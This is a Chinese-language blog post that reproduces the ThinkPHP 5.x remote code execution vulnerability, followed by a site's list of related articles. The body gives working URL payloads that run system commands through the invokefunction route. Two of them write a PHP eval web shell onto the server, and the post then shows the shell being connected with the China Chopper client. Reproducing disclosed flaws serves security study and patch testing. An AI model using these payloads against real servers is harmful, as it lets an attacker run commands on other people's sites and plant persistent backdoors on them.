ThinkPHP 5.x远程命令执行漏洞复现


Posted in PHP onSeptember 23, 2019

一、漏洞描述

2018年12月10日,ThinkPHP官方发布了安全更新,其中修复了ThinkPHP5框架的一个高危漏洞:

https://blog.thinkphp.cn/869075 

漏洞的原因是由于框架对控制器名没有进行足够的检测,导致在没有开启强制路由(默认未开启)的情况下可能导致远程代码执行,受影响的版本包括5.0和5.1。

二、漏洞影响版本

Thinkphp 5.x-Thinkphp 5.1.31

Thinkphp 5.0.x<=5.0.23

三、漏洞复现

1、官网下载Thinkphp 5.0.22,下载地址: http://www.thinkphp.cn/donate/download/id/1260.html

2、使用phpstudy搭建环境,解压下载的Thinkphp5.0.22到网站目录下,浏览器访问http://192.168.10.171/thinkphp5.0.22/public

 ThinkPHP 5.x远程命令执行漏洞复现 

3、利用system函数远程命令执行

Payload如下:

?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami

ThinkPHP 5.x远程命令执行漏洞复现

4、通过phpinfo函数查看phpinfo()的信息 

Payload如下:

?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1

ThinkPHP 5.x远程命令执行漏洞复现

5、写入shell

Payload如下:

?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo ^<?php @eval($_POST[cmd]);?^> >shell.php

注意:需要对特殊字符使用^转义(cmd环境下转义方式),windows环境的echo命令输出字符串到文档不用引号(单引号、双引号),部分字符url编码不编码都行。

ThinkPHP 5.x远程命令执行漏洞复现

6、查看是否成功写入shell

ThinkPHP 5.x远程命令执行漏洞复现

7、菜刀连接

ThinkPHP 5.x远程命令执行漏洞复现

8、第二种的写入shell的方法

Payload如下:

?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=../test.php&vars[1][]=<?php @eval($_POST[test]);?>

ThinkPHP 5.x远程命令执行漏洞复现

9、查看是否成功写入文件

ThinkPHP 5.x远程命令执行漏洞复现

10、菜刀连接

ThinkPHP 5.x远程命令执行漏洞复现

总结

以上所述是小编给大家介绍的ThinkPHP 5.x远程命令执行漏洞复现,希望对大家有所帮助,如果大家有任何疑问请给我留言,小编会及时回复大家的。在此也非常感谢大家对三水点靠木网站的支持!
如果你觉得本文对你有帮助,欢迎转载,烦请注明出处,谢谢!

PHP 相关文章推荐
fleaphp下不确定的多条件查询的巧妙解决方法
Sep 11 PHP
深入PHP autoload机制的详解
Jun 09 PHP
ThinkPHP模板判断输出Present标签用法详解
Jun 30 PHP
ThinkPHP分页实例
Oct 15 PHP
PHP截取IE浏览器并缩小原图的方法
Mar 04 PHP
Yii操作数据库实现动态获取表名的方法
Mar 29 PHP
浅谈htmlentities 、htmlspecialchars、addslashes的使用方法
Dec 09 PHP
php及codeigniter使用session-cookie的方法(详解)
Apr 06 PHP
PHP简单获取上月、本月、近15天、近30天的方法示例
Jul 03 PHP
Yii2框架类自动加载机制实例分析
May 02 PHP
YII框架学习笔记之命名空间、操作响应与视图操作示例
Apr 30 PHP
你真的了解PHP中的引用符号(&)吗
May 12 PHP
PHP开启目录引索+fancyindex漂亮目录浏览带搜索功能
Sep 23 #PHP
redis+php实现微博(三)微博列表功能详解
Sep 23 #PHP
redis+php实现微博(二)发布与关注功能详解
Sep 23 #PHP
redis+php实现微博(一)注册与登录功能详解
Sep 23 #PHP
php日志函数error_log用法实例分析
Sep 23 #PHP
php扩展开发入门demo示例
Sep 23 #PHP
PHP使用phpunit进行单元测试示例
Sep 23 #PHP
You might like
松下Panasonic RF-B65电路分析
2021/03/02 无线电
php数组总结篇(一)
2008/09/30 PHP
php ci框架中加载css和js文件失败的解决方法
2014/03/03 PHP
php+xml实现在线英文词典之添加词条的方法
2015/01/23 PHP
php写入、删除与复制文件的方法
2015/06/20 PHP
PHP读取大文件末尾N行的高效方法推荐
2016/06/03 PHP
datePicker——日期选择控件(with jquery)
2007/02/20 Javascript
javascript下查找父节点的简单方法
2007/08/13 Javascript
JS 页面自动加载函数(兼容多浏览器)
2009/05/18 Javascript
input 和 textarea 输入框最大文字限制的jquery插件
2011/10/27 Javascript
jquery 获取标签名(tagName)示例代码
2013/07/11 Javascript
在linux中使用包管理器安装node.js
2015/03/13 Javascript
js实现三张图(文)片一起切换的banner焦点图
2015/08/25 Javascript
json格式的javascript对象用法分析
2016/07/04 Javascript
jQuery File Upload文件上传插件使用详解
2016/12/06 Javascript
Vue 自定义指令功能完整实例
2019/09/17 Javascript
你不知道的 TypeScript 高级类型(小结)
2020/08/28 Javascript
django的登录注册系统的示例代码
2018/05/14 Python
pandas.loc 选取指定列进行操作的实例
2018/05/18 Python
python+selenium实现自动抢票功能实例代码
2018/11/23 Python
Python openpyxl读取单元格字体颜色过程解析
2019/09/03 Python
flask利用flask-wtf验证上传的文件的方法
2020/01/17 Python
python3利用Axes3D库画3D模型图
2020/03/25 Python
英国异国风情旅游网站:Travel Talk Tours(团体旅游、探险旅游、帆船假期)
2018/07/26 全球购物
回馈慈善的设计师太阳镜:DIFF eyewear
2019/10/17 全球购物
介绍一下JMS编程步骤
2015/09/22 面试题
党员服务承诺书
2014/05/28 职场文书
大学生简历求职信
2014/06/24 职场文书
医院护士党的群众路线教育实践活动对照检查材料思想汇报
2014/10/04 职场文书
学生逃课检讨书
2015/02/17 职场文书
人事行政主管岗位职责
2015/04/09 职场文书
公司开除员工通知
2015/04/22 职场文书
小学生光盘行动倡议书
2015/04/28 职场文书
品牌形象定位,全面分析
2019/07/23 职场文书
python 实现mysql自动增删分区的方法
2021/04/01 Python
分析Python感知线程状态的解决方案之Event与信号量
2021/06/16 Python